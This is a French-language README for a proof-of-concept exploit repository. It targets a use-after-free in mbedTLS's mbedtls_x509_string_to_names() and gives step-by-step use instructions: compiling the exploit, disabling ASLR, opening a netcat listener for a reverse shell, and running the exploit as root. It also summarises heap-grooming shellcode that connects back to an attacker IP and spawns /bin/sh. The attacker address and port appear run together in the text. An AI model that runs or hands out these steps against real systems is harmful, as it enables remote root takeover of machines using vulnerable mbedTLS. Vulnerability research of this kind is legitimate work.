
Exploit PoC pour CVE-2025-47917 : Utilisation après libération dans mbedTLS menant à une exécution de code à distance.
Ce dépôt contient un exploit ciblant une vulnérabilité Use-After-Free dans la fonction d'analyse de noms mbedtls_x509_string_to_names() de la bibliothèque mbedTLS. Un exploit réussi permet l'exécution de code arbitraire avec les privilèges root en détournant les métadonnées du tas libérées et en redirigeant le flux de contrôle vers une shellcode injectée.
Système d'exploitation : Linux (testé sur Kali Linux)
Privilèges root : Requis pour désactiver ASLR et exécuter la shellcode injectée
Bibliothèques de développement mbedTLS (mbedTLS < 3.6.4) :
sudo apt update
sudo apt install -y libmbedtls-dev
Outils de compilation : gcc, make (optionnel)
Ajustez les chemins d'inclusion/bibliothèque selon votre installation :
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Désactiver ASLR (Address Space Layout Randomization) :
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Préparer un écouteur pour le shell inverse sur la machine attaquante (port 4454) :
nc -lvnp 4454
Exécuter l'exploit avec les privilèges root :
sudo ./exploit_UAF
checkAslr() lit /proc/sys/kernel/randomize_va_space pour s'assurer que ASLR est désactivé. Quitte si activé.mbedtls_x509_string_to_names() : Initialise une liste de données nommées vide.paddingChunk() alloue de nombreuses structures de données nommées factices pour remplir les entrées de la liste libre avec un contenu contrôlé pointant vers la shellcode.mbedtls_x509_string_to_names() : Déclenche la condition Use-After-Free, réutilise un bloc libéré contenant des métadonnées factices.mmap(), copiée et exécutée via le pointeur named_data->val.p corrompu.192.168.92.1874454La shellcode effectue une séquence socket + connect + dup2, puis execve("/bin/sh").
MIT